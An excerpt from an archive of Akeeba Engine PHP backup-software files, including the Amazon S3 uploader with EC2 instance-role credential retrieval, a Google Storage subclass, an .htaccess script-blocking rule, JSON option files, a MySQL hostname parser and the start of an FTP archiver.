				Factory::getLog()->debug(
					"No Amazon S3 credentials found. Moreover, I got an error trying to detect whether this site is running inside an Amazon EC2 instance and possibly retrieve Amazon S3 credentials from the EC2 instance's role."
				);
				Factory::getLog()->debug($e->getMessage());

				return $config;
			}
		}

		Factory::getLog()->debug('Applying provisioned S3 credentials');

		$config['accessKey'] = $this->provisionedCredentials['access'];
		$config['secretKey'] = $this->provisionedCredentials['secret'];
		$config['token']     = $this->provisionedCredentials['token'];

		return $config;
	}

	/**
	 * Attempt to retrieve the Amazon S3 credentials from the attached Amazon EC2 instance role.
	 *
	 * This will only work if you are running Akeeba Engine in an Amazon EC2 instance with an attached role. The
	 * attached role must give access to the Amazon S3 bucket you have specified in the configuration of this post-
	 * processing engine.
	 *
	 * @return  array (access, secret, expiration)
	 *
	 * @throws  RuntimeException
	 */
	private function getEC2RoleCredentials(): array
	{
		$hasCurl = function_exists('curl_init') && function_exists('curl_exec');

		if (!$hasCurl)
		{
			throw new RuntimeException('The PHP cURL module is not activated or installed on this server.');
		}

		$token = $this->getURL('http://169.254.169.254/latest/api/token', 'PUT',
			'X-aws-ec2-metadata-token-ttl-seconds: 21600');

		$roleName = $this->getURL('http://169.254.169.254/latest/meta-data/iam/security-credentials/', 'GET',
			'X-aws-ec2-metadata-token: ' . $token);

		if (empty($roleName))
		{
			throw new RuntimeException(
				"Could not find an attached IAM Role on this EC2 instance or we are not running on an EC2 instance."
			);
		}

		Factory::getLog()->debug(sprintf("Getting S3 credentials from EC2 attached IAM Role ‘%s’.", $roleName));

		$credentialsDocument = $this->getURL(
			'http://169.254.169.254/latest/meta-data/iam/security-credentials/' . $roleName, 'GET',
			'X-aws-ec2-metadata-token: ' . $token);
		$result              = @json_decode($credentialsDocument, true);

		if (is_null($result) || empty($result))
		{
			throw new RuntimeException(sprintf("Cannot retrieve credentials from IAM role %s", $roleName));
		}

		if (!array_key_exists('Code', $result) || ($result['Code'] != 'Success'))
		{
			throw new RuntimeException("Querying the IAM role did not return a successful result.");
		}

		$keys = ['AccessKeyId', 'AccessKeyId', 'Expiration', 'Token'];

		foreach ($keys as $key)
		{
			if (!array_key_exists($key, $result))
			{
				throw new RuntimeException(
					sprintf(
						"Cannot find key ‘%s’ in EC2 metadata document. Automatic provisioning of S3 credentials is not possible.",
						$key
					)
				);
			}
		}

		try
		{
			$expiresOn = new DateTime($result['Expiration']);
			$expires   = $expiresOn->getTimestamp();
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(
				'Could not determine the expiration time of the automatically provisioned credentials. Assuming an expiration period of 10 minutes (minimum expiration period).'
			);

			$expires = time() + 600;
		}

		return [
			'access'  => $result['AccessKeyId'],
			'secret'  => $result['SecretAccessKey'],
			'token'   => $result['Token'],
			'expires' => $expires,
		];
	}

	/**
	 * Returns the contents of a URL. We use this internally to fetch the Amazon S3 credentials from the attached
	 * Amazon EC2 instance role.
	 *
	 * @param   string  $url  The URL to fetch
	 *
	 * @return  string  The contents of the URL
	 *
	 * @throws RuntimeException
	 */
	private function getURL(string $url, string $method, string $header): string
	{
		$ch = curl_init();

		$this->applyProxySettingsToCurl($ch);

		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
		curl_setopt($ch, CURLOPT_SSLVERSION, 0);
		curl_setopt($ch, CURLOPT_CAINFO, AKEEBA_CACERT_PEM);
		curl_setopt($ch, CURLOPT_HEADERFUNCTION, [$this, 'reponseHeaderCallback']);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
		curl_setopt($ch, CURLOPT_TIMEOUT, 1);
		curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
		curl_setopt($ch, CURLOPT_HTTPHEADER, [$header]);

		$result = curl_exec($ch);

		$errno       = curl_errno($ch);
		$errmsg      = curl_error($ch);
		$error       = '';
		$http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

		if ($result === false)
		{
			$error = sprintf("(cURL Error %u) %s", $errno, $errmsg);
		}
		elseif (($http_status >= 300) && ($http_status <= 399) && isset($this->headers['location'])
		        && !empty($this->headers['location']))
		{
			return $this->getURL($this->headers['location'], 'GET', $header);
		}
		elseif ($http_status > 399)
		{
			$errno = $http_status;
			$error = sprintf('HTTP %u error', $http_status);
		}

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($result === false)
		{
			throw new RuntimeException($error, $errno);
		}

		return $result;
	}

	/**
	 * Start a multipart upload
	 *
	 * @param   string     $bucket       The bucket to upload to
	 * @param   string     $remoteKey    The remote filename
	 * @param   string     $sourceFile   The full path to the local source file
	 * @param   Connector  $connector    The S3 client object instance
	 * @param   string     $acl          Canned ACL privileges to use
	 * @param   int        $storageType  The Amazon S3 storage type. See the constants in this class.
	 *
	 * @return  bool  True when we're done uploading, false if we have more parts.
	 *
	 * @throws Exception When something goes wrong.
	 */
	private function multipartUpload(
		string $bucket, string $remoteKey, string $sourceFile, Connector $connector,
		string $acl = Acl::ACL_BUCKET_OWNER_FULL_CONTROL, int $storageType = 0
	): bool
	{
		$endpoint                       = $connector->getConfiguration()->getEndpoint();
		$headers                        = $this->getStorageTypeHeaders($storageType, $endpoint);
		$input                          = Input::createFromFile($sourceFile, null, null);
		$headers['Content-Disposition'] = sprintf('attachment; filename="%s"', basename($sourceFile));

		if (empty($this->uploadId))
		{
			Factory::getLog()->debug(
				sprintf(
					"%s -- Beginning multipart upload of %s", $this->engineLogName, $sourceFile
				)
			);

			// Initialise the multipart upload if necessary
			try
			{
				$this->uploadId   = $connector->startMultipart($input, $bucket, $remoteKey, $acl, $headers);
				$this->partNumber = 1;
				$this->eTags      = [];

				Factory::getLog()->debug(
					sprintf(
						"%s -- Got uploadID %s", $this->engineLogName, $this->uploadId
					)
				);
			}
			catch (Exception $e)
			{
				Factory::getLog()->debug(
					sprintf(
						"%s -- Failed to initialize multipart upload of %s", $this->engineLogName, $sourceFile
					)
				);

				throw new RuntimeException(
					sprintf(
						'Upload cannot be initialised. %s returned an error.', $this->engineLogName
					), 500, $e
				);
			}
		}
		else
		{
			Factory::getLog()->debug(
				sprintf(
					"%s -- Continuing multipart upload of %s (UploadId: %s –– Part number %d)",
					$this->engineLogName, $sourceFile, $this->uploadId, $this->partNumber
				)
			);
		}

		// Upload a chunk
		try
		{
			//$input = Input::createFromFile($sourceFile, null, null);
			$input->setUploadID($this->uploadId);
			$input->setPartNumber($this->partNumber);
			$input->setEtags($this->eTags);

			// Do NOT send $headers when uploading parts. The RRS header MUST ONLY be sent when we're beginning the multipart upload.
			$eTag = $connector->uploadMultipart($input, $bucket, $remoteKey);

			if (!is_null($eTag))
			{
				$this->eTags[]    = $eTag;
				$this->partNumber = $input->getPartNumber();
				$this->partNumber++;
			}
			else
			{
				// We just finished. Let's finalise the upload
				$count = count($this->eTags);
				Factory::getLog()->debug(
					sprintf(
						"%s -- Finalising multipart upload of %s (UploadId: %s –– %d parts in total",
						$this->engineLogName, $sourceFile, $this->uploadId, $count
					)
				);

				//$input = Input::createFromFile($sourceFile, null, null);
				$input->setUploadID($this->uploadId);
				$input->setPartNumber($this->partNumber);
				$input->setEtags($this->eTags);

				$connector->finalizeMultipart($input, $bucket, $remoteKey);

				$this->uploadId   = null;
				$this->partNumber = null;
				$this->eTags      = [];
			}
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(
				sprintf(
					"%s -- Multipart upload of %s has failed.", $this->engineLogName, $sourceFile
				)
			);

			// Reset the multipart markers in temporary storage
			$akeebaConfig = Factory::getConfiguration();
			$akeebaConfig->set($this->volatileKeyPrefix . 'uploadId', null);
			$akeebaConfig->set($this->volatileKeyPrefix . 'partNumber', null);
			$akeebaConfig->set($this->volatileKeyPrefix . 'eTags', null);

			throw new RuntimeException(
				sprintf(
					"Upload cannot proceed. %s returned an error.", $this->engineLogName
				), 500, $e
			);
		}

		// Save the internal tracking variables
		$akeebaConfig = Factory::getConfiguration();
		$akeebaConfig->set($this->volatileKeyPrefix . 'uploadId', $this->uploadId);
		$akeebaConfig->set($this->volatileKeyPrefix . 'partNumber', $this->partNumber);
		$akeebaConfig->set($this->volatileKeyPrefix . 'eTags', json_encode($this->eTags));

		// If I have an upload ID I have to do more work
		if (is_string($this->uploadId) && !empty($this->uploadId))
		{
			return false;
		}

		// In any other case I'm done uploading the file
		return true;
	}

	/**
	 * Get the Amazon request headers required to set the storage type of an upload to the specified type.
	 *
	 * @param   int     $storageType  The storage type. See the constants in this class.
	 * @param   string  $endpoint     The API endpoint. Used to determine whether it's Amazon or a third party service.
	 *
	 * @return  array  The headers
	 */
	private function getStorageTypeHeaders($storageType = self::STORAGE_STANDARD, $endpoint = 's3.amazonaws.com')
	{
		$headers = [];

		if (!in_array($endpoint, ['s3.amazonaws.com', 'amazonaws.com.cn']))
		{
			return $headers;
		}

		switch ($storageType)
		{
			case self::STORAGE_STANDARD:
				$headers['X-Amz-Storage-Class'] = 'STANDARD';
				break;

			case self::STORAGE_REDUCED_REDUNDANCY:
				$headers['X-Amz-Storage-Class'] = 'REDUCED_REDUNDANCY';
				break;

			case self::STORAGE_STANDARD_IA:
				$headers['X-Amz-Storage-Class'] = 'STANDARD_IA';
				break;

			case self::STORAGE_ONEZONE_IA:
				$headers['X-Amz-Storage-Class'] = 'ONEZONE_IA';
				break;

			case self::STORAGE_INTELLIGENT_TIERING:
				$headers['X-Amz-Storage-Class'] = 'INTELLIGENT_TIERING';
				break;

			case self::STORAGE_GLACIER:
				$headers['X-Amz-Storage-Class'] = 'GLACIER';
				break;

			case self::STORAGE_DEEP_ARCHIVE:
				$headers['X-Amz-Storage-Class'] = 'DEEP_ARCHIVE';
				break;
		}

		return $headers;
	}

	/**
	 * Perform a single-step upload of a file
	 *
	 * @param   string     $bucket       The bucket to upload to
	 * @param   string     $remoteKey    The remote filename
	 * @param   string     $sourceFile   The full path to the local source file
	 * @param   Connector  $s3Client     The S3 client object instance
	 * @param   string     $acl          Canned ACL privileges to use
	 * @param   int        $storageType  The Amazon S3 storage type. See the constants in this class.
	 *
	 * @return  bool  True when we're done uploading, false if we have more parts
	 *
	 * @throws Exception When something goes wrong.
	 */
	private function simpleUpload(
		string $bucket, string $remoteKey, string $sourceFile, Connector $s3Client,
		string $acl = Acl::ACL_BUCKET_OWNER_FULL_CONTROL, int $storageType = 0
	): bool
	{
		Factory::getLog()->debug(
			sprintf(
				"%s -- Legacy (single part) upload of %s", $this->engineLogName, basename($sourceFile)
			)
		);

		$endpoint                       = $s3Client->getConfiguration()->getEndpoint();
		$headers                        = $this->getStorageTypeHeaders($storageType, $endpoint);
		$input                          = Input::createFromFile($sourceFile, null, null);
		$headers['Content-Disposition'] = sprintf('attachment; filename="%s"', basename($sourceFile));

		$s3Client->putObject($input, $bucket, $remoteKey, $acl, $headers);

		return true;
	}

	/**
	 * Handles the HTTP headers returned by cURL.
	 *
	 * @param   resource  $ch    cURL resource handle (unused)
	 * @param   string    $data  Each header line, as returned by the server
	 *
	 * @return  int  The length of the $data string
	 */
	private function reponseHeaderCallback($ch, $data)
	{
		$strlen = strlen($data);

		if (($strlen) <= 2)
		{
			return $strlen;
		}

		$testForHTTP = substr($data, 0, 4);

		if (strtoupper($testForHTTP) == 'HTTP')
		{
			return $strlen;
		}

		[$header, $value] = explode(': ', trim($data), 2);

		$this->headers[strtolower($header)] = $value;

		return $strlen;
	}
}
PK     \vf    6  vendor/akeeba/engine/engine/Postproc/Googlestorage.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Google Storage is a sub-case of the Amazon S3 engine with a custom endpoint
 *
 * @package Akeeba\Engine\Postproc
 */
class Googlestorage extends Amazons3
{
	public function __construct()
	{
		parent::__construct();

		$this->engineLogName             = 'Google Storage';
		$this->volatileKeyPrefix         = 'volatile.postproc.googlestorage.';
		$this->supportsDownloadToBrowser = false;

		Factory::getLog()->warning("The old Google Storage integration you are currently using, the one that makes use of the legacy S3 API, is deprecated and will be removed in a future version. Please switch to the new Upload to Google Storage (JSON API) integration.");

	}

	/**
	 * Get the configuration information for this post-processing engine
	 *
	 * @return  array
	 */
	protected function getEngineConfiguration(): array
	{
		$config   = Factory::getConfiguration();
		$endpoint = 'storage.googleapis.com';

		Factory::getLog()->info("GoogleStorage: using S3 compatible endpoint $endpoint");

		$ret = [
			'accessKey'                 => $config->get('engine.postproc.googlestorage.accesskey', ''),
			'secretKey'                 => $config->get('engine.postproc.googlestorage.secretkey', ''),
			'token'                     => '',
			'useSSL'                    => $config->get('engine.postproc.googlestorage.usessl', 1),
			'dualStack'                 => 0,
			'customEndpoint'            => $endpoint,
			'signatureMethod'           => 'v2',
			'useLegacyPathAccess'       => false,
			'region'                    => '',
			'disableMultipart'          => 1,
			'bucket'                    => $config->get('engine.postproc.googlestorage.bucket', null),
			'directory'                 => $config->get('engine.postproc.googlestorage.directory', null),
			'rrs'                       => 0,
			'lowercase'                 => $config->get('engine.postproc.googlestorage.lowercase', 1),
			'alternateDateHeaderFormat' => false,
			'useHTTPDateHeader'         => true,
			'preSignedBucketInURL'      => false,
		];

		if ($ret['lowercase'] && !empty($ret['bucket']))
		{
			$ret['bucket'] = strtolower($ret['bucket']);
		}

		return $ret;
	}
}
PK     \Sʉ      .  vendor/akeeba/engine/engine/Postproc/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \ۯz	  	  /  vendor/akeeba/engine/engine/Postproc/azure.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_AZURE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_AZURE_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.azure.chunk_upload": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_ENABLE"
    },
    "engine.postproc.azure.chunk_upload_size": {
        "default": "20",
        "type": "integer",
        "min": "1",
        "max": "4000",
        "shortcuts": "5|10|20|40|50|75|100|250|1024|2047",
        "scale": "1",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_SIZE",
        "showon": "engine.postproc.azure.chunk_upload:1"
    },
    "engine.postproc.azure.account": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_AZURE_ACCOUNTNAME_TITLE",
        "description": "COM_AKEEBA_CONFIG_AZURE_ACCOUNTNAME_DESCRIPTION"
    },
    "engine.postproc.azure.key": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_AZURE_KEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_AZURE_KEY_DESCRIPTION"
    },
    "engine.postproc.azure.usessl": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_S3USESSL_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3USESSL_DESCRIPTION"
    },
    "engine.postproc.azure.container": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_AZURE_CONTAINER_TITLE",
        "description": "COM_AKEEBA_CONFIG_AZURE_CONTAINER_DESCRIPTION"
    },
    "engine.postproc.azure.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_AZURE_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_AZURE_DIRECTORY_DESCRIPTION"
    }
}PK     \z  z  0  vendor/akeeba/engine/engine/FixMySQLHostname.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine;

defined('AKEEBAENGINE') || die();

trait FixMySQLHostname
{
	/**
	 * Tries to parse all the weird hostname definitions and normalize them into something that the MySQLi connector
	 * will understand. Please note that there are some differences to the old MySQL driver:
	 *
	 * * Port and socket MUST be provided separately from the hostname. Hostnames in the form of 127.0.0.1:8336 are no
	 *   longer acceptable.
	 *
	 * * The hostname "localhost" has special meaning. It means "use named pipes / sockets". Anything else uses TCP/IP.
	 *   This is the ONLY way to specify a. TCP/IP or b. named pipes / sockets connection.
	 *
	 * * You SHOULD NOT use a numeric TCP/IP port with hostname localhost. For some strange reason it's still allowed
	 *   but the manual is self-contradicting over what this really does...
	 *
	 * * Likewise you CANNOT use a socket / named pipe path with hostname other than localhost. Named pipes and sockets
	 *   can only be used with the local machine, therefore the hostname MUST be localhost.
	 *
	 * * You cannot give a TCP/IP port number in the socket parameter or a named pipe / socket path to the port
	 *   parameter. This leads to an error.
	 *
	 * * You cannot use an empty string, 0 or any other non-null value when you want to omit either of the port or
	 *   socket parameters.
	 *
	 * * Persistent connections must be prefixed with the string literal 'p:'. Therefore you cannot have a hostname
	 *   called 'p' (not to mention that'd be daft). You can also not specify something like 'p:1234' to make a
	 *   persistent connection to a port. This wasn't even supported by the old MySQL driver. As a result we don't even
	 *   try to catch that degenerate case.
	 *
	 * This method will try to apply all of the aforementioned rules with one additional disambiguation rule:
	 *
	 * A port / socket set in the hostname overrides a port specified separately. A port specified separately overrides
	 * a socket specified separately.
	 *
	 * @param   string  $host    The hostname. Can contain legacy hostname:port or hostname:sc=ocket definitions.
	 * @param   int     $port    The port. Alternatively it can contain the path to the socket.
	 * @param   string  $socket  The path to the socket. You could abuse it to enter the port number. DON'T!
	 *
	 * @return  void  All parameters are passed by reference.
	 *
	 * @since   9.2.3
	 */
	protected function fixHostnamePortSocket(&$host, &$port, &$socket)
	{
		// Is this a persistent connection? Persistent connections are indicated by the literal "p:" in front of the hostname
		$isPersistent = (substr($host, 0, 2) == 'p:');
		$host         = $isPersistent ? substr($host, 2) : $host;

		// If the hostname looks like a *NIX filename we need to treat it as a socket.
		if (preg_match('#^/([^/]*/)?[^/]#', $host))
		{
			$socket = $host;
			$host = null;
		}

		// Special case: Windows named pipe (\\.\something\or\another), with or without parentheses.
		$isNamedPipe = false;

		if (preg_match("#^\(?\\\\\\\\\.\\\\#", $host))
		{
			$isNamedPipe = true;
			$socket = $host;
			$host = '.';
		}

		/*
		 * Unlike mysql_connect(), mysqli_connect() takes the port and socket as separate arguments. Therefore, we
		 * have to extract them from the host string.
		 */
		$port = !empty($port) ? $port : 3306;

		if ($host === 'localhost')
		{
			$port = null;
		}
		// UNIX socket URI, e.g. 'unix:/path/to/unix/socket.sock'
		elseif (preg_match('/^unix:(?P<socket>[^:]+)$/', $host, $matches))
		{
			$host   = null;
			$socket = $matches['socket'];
			$port   = null;
		}
		// It's an IPv4 address with or without port
		elseif (preg_match('/^(?P<host>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))(:(?P<port>.+))?$/', $host, $matches))
		{
			$host = $matches['host'];

			if (!empty($matches['port']))
			{
				$port = $matches['port'];
			}
		}
		// Square-bracketed IPv6 address with or without port, e.g. [fe80:102::2%eth1]:3306
		elseif (preg_match('/^(?P<host>\[.*\])(:(?P<port>.+))?$/', $host, $matches))
		{
			$host = $matches['host'];

			if (!empty($matches['port']))
			{
				$port = $matches['port'];
			}
		}
		// Named host (e.g example.com or localhost) with or without port
		elseif (preg_match('/^(?P<host>(\w+:\/{2,3})?[a-z0-9\.\-]+)(:(?P<port>[^:]+))?$/i', $host, $matches))
		{
			$host = $matches['host'];

			if (!empty($matches['port']))
			{
				$port = $matches['port'];
			}
		}
		// Empty host, just port, e.g. ':3306'
		elseif (preg_match('/^:(?P<port>[^:]+)$/', $host, $matches))
		{
			$host = '127.0.0.1';
			$port = $matches['port'];
		}
		// ... else we assume normal (naked) IPv6 address, so host and port stay as they are or default

		// If there is both a valid port and a valid socket we will choose the socket instead
		if (is_numeric($port) && !empty($socket))
		{
			$port = null;
		}

		// Get the port number or socket name
		if (is_numeric($port))
		{
			$port   = (int) $port;
			$socket = '';
		}
		elseif (is_string($port) && empty($socket))
		{
			$socket = $port;
			$port = null;
		}

		// If there is a socket the hostname must be null
		if (!empty($socket))
		{
			$host = null;
		}

		// If there is a socket the port must be null
		if (!empty($socket))
		{
			$port = null;
		}

		// If there is a numeric port and the hostname is 'localhost' convert to 127.0.0.1
		if (is_numeric($port) && ($host === 'localhost'))
		{
			$host = '127.0.0.1';
		}

		/**
		 * Special case: MySQL sockets on Windows need to be enclosed with parentheses and have \\.\ in front.
		 *
		 * @see https://dev.mysql.com/doc/mysql-shell/8.0/en/mysql-shell-connection-socket.html
		 * @see https://www.php.net/manual/en/mysqli.quickstart.connections.php
		 */
		if (!empty($socket) && $isNamedPipe)
		{
			$host = '.';

			/**
			 * Remove any existing parentheses, otherwise URL-decode the socket (in case it was given in the correct
			 * percent encoded format).
			 */
			if (substr($socket, 0, 1) === '(' && substr($socket, -1) === ')')
			{
				$socket = substr($socket, 1, -1);

			}
			else
			{
				$socket = rawurldecode($socket);
			}

			// If the socket doesn't already start with \\.\ add it
			if (substr($socket, 0, 4) !== '\\\\.\\')
			{
				$socket = '\\\\.\\' . $socket;
			}

			$socket = '(' . $socket . ')';
		}

		// Finally, if it's a persistent connection we have to prefix the hostname with 'p:'
		$host = ($isPersistent && $host !== null) ? "p:$host" : $host;
	}

}PK     \T
    -  vendor/akeeba/engine/engine/Archiver/jps.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_JPS_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_JPS_DESCRIPTION"
    },
    "engine.archiver.jps.key": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_JPS_KEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_JPS_KEY_DESCRIPTION"
    },
    "engine.archiver.jps.pbkdf2usestaticsalt": {
        "default": "1",
        "type": "hidden",
        "title": "COM_AKEEBA_CONFIG_JPS_PBKDF2USESTATICSALT_TITLE",
        "description": "COM_AKEEBA_CONFIG_JPS_PBKDF2USESTATICSALT_DESCRIPTION"
    },
    "engine.archiver.common.dereference_symlinks": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DEREFERENCESYMLINKS_TITLE",
        "description": "COM_AKEEBA_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION"
    },
    "engine.archiver.common.part_size": {
        "default": "0",
        "type": "integer",
        "min": "0",
        "max": "2147483648",
        "shortcuts": "0|131072|262144|524288|1048576|2097152|5242880|10485760|20971520|52428800|104857600|268435456|536870912|1073741824|1610612736|2097152000",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_PARTSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_PARTSIZE_DESCRIPTION"
    },
    "engine.archiver.common.permissions": {
        "default": "0666",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_PERMISSIONS_0600|COM_AKEEBA_CONFIG_PERMISSIONS_0644|COM_AKEEBA_CONFIG_PERMISSIONS_0666",
        "enumvalues": "0600|0644|0666",
        "title": "COM_AKEEBA_CONFIG_PERMISSIONS_TITLE",
        "description": "COM_AKEEBA_CONFIG_PERMISSIONS_DESCRIPTION"
    }
}PK     \yY?  ?  3  vendor/akeeba/engine/engine/Archiver/zipnative.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_DESCRIPTION"
    },
    "engine.archiver.common.permissions": {
        "default": "0666",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_PERMISSIONS_0600|COM_AKEEBA_CONFIG_PERMISSIONS_0644|COM_AKEEBA_CONFIG_PERMISSIONS_0666",
        "enumvalues": "0600|0644|0666",
        "title": "COM_AKEEBA_CONFIG_PERMISSIONS_TITLE",
        "description": "COM_AKEEBA_CONFIG_PERMISSIONS_DESCRIPTION"
    }
}PK     \	^\&  &  2  vendor/akeeba/engine/engine/Archiver/Directftp.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\Transfer\Ftp;
use Exception;
use RuntimeException;

/**
 * Direct Transfer Over FTP archiver class
 *
 * Transfers the files to a remote FTP server instead of putting them in
 * an archive
 *
 */
class Directftp extends Base
{
	/** @var bool Could we connect to the server? */
	public $connect_ok = false;
	/** @var Ftp FTP resource handle */
	protected $ftpTransfer;
	/** @var string FTP hostname */
	protected $host;
	/** @var string FTP port */
	protected $port;
	/** @var string FTP username */
	protected $user;
	/** @var string FTP password */
	protected $pass;
	/** @var bool Should we use FTP over SSL? */
	protected $usessl;
	/** @var bool Should we use passive FTP? */
	protected $passive;
	/** @var string FTP initial directory */
	protected $initdir;

	/**
	 * Initialises the archiver class, seeding the remote installation
	 * from an existent installer's JPA archive.
	 *
	 * @param   string  $targetArchivePath  Absolute path to the generated archive (ignored in this class)
	 * @param   array   $options            A named key array of options (optional)
	 *
	 * @return  void
	 */
	public function initialize($targetArchivePath, $options = [])
	{
		Factory::getLog()->debug(__CLASS__ . " :: new instance");

		$registry = Factory::getConfiguration();

		$this->host    = $registry->get('engine.archiver.directftp.host', '');
		$this->port    = $registry->get('engine.archiver.directftp.port', '21');
		$this->user    = $registry->get('engine.archiver.directftp.user', '');
		$this->pass    = $registry->get('engine.archiver.directftp.pass', '');
		$this->initdir = $registry->get('engine.archiver.directftp.initial_directory', '');
		$this->usessl  = $registry->get('engine.archiver.directftp.ftps', false);
		$this->passive = $registry->get('engine.archiver.directftp.passive_mode', true);

		if (isset($options['host']))
		{
			$this->host = $options['host'];
		}

		if (isset($options['port']))
		{
			$this->port = $options['port'];
		}

		if (isset($options['user']))
		{
			$this->user = $options['user'];
		}

		if (isset($options['pass']))
		{
			$this->pass = $options['pass'];
		}

		if (isset($options['initdir']))
		{
			$this->initdir = $options['initdir'];
		}

		if (isset($options['usessl']))
		{
			$this->usessl = $options['usessl'];
		}

		if (isset($options['passive']))
		{
			$this->passive = $options['passive'];
		}

		// You can't fix stupid, but at least you get to shout at them
		if (strtolower(substr($this->host, 0, 6)) == 'ftp://')
		{
			Factory::getLog()->warning('YOU ARE *** N O T *** SUPPOSED TO ENTER THE ftp:// PROTOCOL PREFIX IN THE FTP HOSTNAME FIELD OF THE DirectFTP ARCHIVER ENGINE.');
			Factory::getLog()->warning('I am trying to fix your bad configuration setting, but the backup might fail anyway. You MUST fix this in your configuration.');
			$this->host = substr($this->host, 6);
		}

		$this->connect_ok = $this->connectFTP();

